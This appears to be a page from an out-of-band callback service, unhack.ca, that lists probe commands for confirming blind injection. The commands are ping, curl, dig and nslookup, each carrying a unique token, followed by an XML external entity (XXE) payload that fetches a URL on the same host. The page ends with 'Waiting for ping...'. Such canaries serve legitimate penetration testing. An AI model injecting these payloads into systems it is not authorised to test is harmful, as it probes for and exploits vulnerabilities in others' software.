$ ping -c1 -p 00b3055bb9741af119e1d6ceabd70800 unhack.ca
 
$ curl http://unhack.ca/p/b3055bb9741af119e1d6ceabd708
 
$ dig b3055bb9741af119e1d6ceabd708 @unhack.ca
 
$ dig b3055bb9741af119e1d6ceabd708.ns.unhack.ca
 
C:\> nslookup b3055bb9741af119e1d6ceabd708 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b3055bb9741af119e1d6ceabd708">]>
    <foo>&xxe;</foo>
 
Waiting for ping...